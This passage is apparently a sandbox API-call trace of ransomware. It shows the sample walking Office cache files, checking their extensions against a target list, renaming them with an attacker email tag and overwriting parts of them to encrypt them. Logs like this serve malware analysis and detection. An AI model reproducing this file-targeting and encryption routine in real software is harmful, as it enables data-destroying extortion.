dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0045.440] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc6c | out: lpNewFilePointer=0x0) returned 1 [0045.440] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.440] ReadFile (in: hFile=0x190, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.445] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.445] ReadFile (in: hFile=0x190, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.453] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x303fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0045.453] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.453] ReadFile (in: hFile=0x190, lpBuffer=0x3c10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c10058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.473] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.473] WriteFile (in: hFile=0x190, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x303fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x303fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0045.900] SetEndOfFile (hFile=0x190) returned 1 [0045.900] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3f93be0 [0045.901] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.901] WriteFile (in: hFile=0x190, lpBuffer=0x3f93be0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f93be0*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.902] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.902] WriteFile (in: hFile=0x190, lpBuffer=0x3f93be0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f93be0*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.904] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.905] WriteFile (in: hFile=0x190, lpBuffer=0x3f93be0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f93be0*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.907] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f93be0 | out: hHeap=0x510000) returned 1 [0045.907] CloseHandle (hObject=0x190) returned 1 [0048.798] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0048.799] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0048.799] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0048.799] lstrlenW (lpString=".doc") returned 4 [0048.799] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0048.799] lstrlenW (lpString=".docx") returned 5 [0048.799] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0048.799] lstrlenW (lpString=".pdf") returned 4 [0048.799] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0048.799] lstrlenW (lpString=".xls") returned 4 [0048.799] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0048.799] lstrlenW (lpString=".xlsx") returned 5 [0048.799] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0048.799] lstrlenW (lpString=".ppt") returned 4 [0048.799] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0048.799] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0048.799] lstrlenW (lpString=".zip") returned 4 [0048.799] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0048.799] lstrlenW (lpString=".rar") returned 4 [0048.799] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0048.799] lstrlenW (lpString=".bz2") returned 4 [0048.799] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0048.799] lstrlenW (lpString=".7z") returned 3 [0048.799] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0048.799] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0048.799] lstrlenW (lpString=".dbf") returned 4 [0048.799] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0048.799] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0048.799] lstrlenW (lpString=".1cd") returned 4 [0048.800] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0048.800] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0048.800] lstrlenW (lpString=".jpg") returned 4 [0048.800] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0048.800] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0048.800] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0048.800] lstrlenW (lpString=".doc") returned 4 [0048.800] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0048.800] lstrlenW (lpString=".docx") returned 5 [0048.800] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0048.800] lstrlenW (lpString=".pdf") returned 4 [0048.800] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0048.800] lstrlenW (lpString=".xls") returned 4 [0048.800] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0048.800] lstrlenW (lpString=".xlsx") returned 5 [0048.800] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0048.800] lstrlenW (lpString=".ppt") returned 4 [0048.800] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0048.800] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0048.800] lstrlenW (lpString=".zip") returned 4 [0048.800] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0048.800] lstrlenW (lpString=".rar") returned 4 [0048.800] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0048.800] lstrlenW (lpString=".bz2") returned 4 [0048.800] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0048.800] lstrlenW (lpString=".7z") returned 3 [0048.800] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0048.800] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0048.800] lstrlenW (lpString=".dbf") returned 4 [0048.800] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0048.800] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0048.800] lstrlenW (lpString=".1cd") returned 4 [0048.801] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0048.801] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0048.801] lstrlenW (lpString=".jpg") returned 4 [0048.801] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0048.801] lstrcmpiW (lpString1=".cab", lpString2=".asd") returned 1 [0048.801] lstrlenW (lpString="Proof.cab") returned 9 [0048.801] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0048.801] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=21064532) returned 1 [0048.801] CloseHandle (hObject=0x190) returned 1 [0048.801] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab")) returned 0x2020 [0048.801] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0048.801] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0048.802] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0048.802] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc6c | out: lpNewFilePointer=0x0) returned 1 [0048.802] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.802] ReadFile (in: hFile=0x190, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.895] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.896] ReadFile (in: hFile=0x190, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.965] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x303fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0048.965] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.966] ReadFile (in: hFile=0x190, lpBuffer=0x3c10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c10058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.004] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.004] WriteFile (in: hFile=0x190, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x303fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x303fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0049.331] SetEndOfFile (hFile=0x190) returned 1 [0049.679] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3f53fe8 [0049.682] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.682] WriteFile (in: hFile=0x190, lpBuffer=0x3f53fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53fe8*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.712] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.712] WriteFile (in: hFile=0x190, lpBuffer=0x3f53fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53fe8*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.713] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.714] WriteFile (in: hFile=0x190, lpBuffer=0x3f53fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53fe8*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.716] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f53fe8 | out: hHeap=0x510000) returned 1 [0049.716] CloseHandle (hObject=0x190) returned 1 [0051.651] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0051.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0051.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0051.651] lstrlenW (lpString=".doc") returned 4 [0051.651] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0051.651] lstrlenW (lpString=".docx") returned 5 [0051.651] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0051.651] lstrlenW (lpString=".pdf") returned 4 [0051.651] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0051.651] lstrlenW (lpString=".xls") returned 4 [0051.651] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0051.651] lstrlenW (lpString=".xlsx") returned 5 [0051.651] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0051.651] lstrlenW (lpString=".ppt") returned 4 [0051.651] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0051.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0051.651] lstrlenW (lpString=".zip") returned 4 [0051.651] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0051.651] lstrlenW (lpString=".rar") returned 4 [0051.651] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0051.652] lstrlenW (lpString=".bz2") returned 4 [0051.652] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0051.652] lstrlenW (lpString=".7z") returned 3 [0051.652] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0051.652] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0051.652] lstrlenW (lpString=".dbf") returned 4 [0051.652] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0051.652] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0051.652] lstrlenW (lpString=".1cd") returned 4 [0051.652] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0051.652] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0051.652] lstrlenW (lpString=".jpg") returned 4 [0051.652] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0051.652] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0051.652] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0051.652] lstrlenW (lpString=".doc") returned 4 [0051.652] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0051.652] lstrlenW (lpString=".docx") returned 5 [0051.652] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0051.652] lstrlenW (lpString=".pdf") returned 4 [0051.652] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0051.652] lstrlenW (lpString=".xls") returned 4 [0051.652] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0051.652] lstrlenW (lpString=".xlsx") returned 5 [0051.652] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0051.652] lstrlenW (lpString=".ppt") returned 4 [0051.652] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0051.652] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0051.652] lstrlenW (lpString=".zip") returned 4 [0051.652] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0051.652] lstrlenW (lpString=".rar") returned 4 [0051.652] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0051.653] lstrlenW (lpString=".bz2") returned 4 [0051.653] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0051.653] lstrlenW (lpString=".7z") returned 3 [0051.653] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0051.653] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0051.653] lstrlenW (lpString=".dbf") returned 4 [0051.653] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0051.653] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0051.653] lstrlenW (lpString=".1cd") returned 4 [0051.653] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0051.653] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0051.653] lstrlenW (lpString=".jpg") returned 4 [0051.653] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0051.653] lstrcmpiW (lpString1=".cab", lpString2=".asd") returned 1 [0051.653] lstrlenW (lpString="VisioLR.cab") returned 11 [0051.653] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0051.654] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=50823389) returned 1 [0051.654] CloseHandle (hObject=0x190) returned 1 [0051.654] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab")) returned 0x2020 [0051.654] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0051.654] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0051.654] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0051.655] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc6c | out: lpNewFilePointer=0x0) returned 1 [0051.655] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.655] ReadFile (in: hFile=0x190, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.921] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.921] ReadFile (in: hFile=0x190, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.949] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x303fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0051.950] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.950] ReadFile (in: hFile=0x190, lpBuffer=0x3c10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c10058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.978] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.978] WriteFile (in: hFile=0x190, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x303fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x303fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0052.426] SetEndOfFile (hFile=0x190) returned 1 [0052.427] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x4005bf0 [0052.429] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.429] WriteFile (in: hFile=0x190, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.430] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.430] WriteFile (in: hFile=0x190, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.431] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.431] WriteFile (in: hFile=0x190, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.433] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4005bf0 | out: hHeap=0x510000) returned 1 [0052.433] CloseHandle (hObject=0x190) returned 1 [0052.433] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0052.434] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0052.434] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0052.434] lstrlenW (lpString=".doc") returned 4 [0052.434] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.434] lstrlenW (lpString=".docx") returned 5 [0052.434] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0052.434] lstrlenW (lpString=".pdf") returned 4 [0052.434] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.434] lstrlenW (lpString=".xls") returned 4 [0052.434] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0052.434] lstrlenW (lpString=".xlsx") returned 5 [0052.434] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0052.434] lstrlenW (lpString=".ppt") returned 4 [0052.434] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 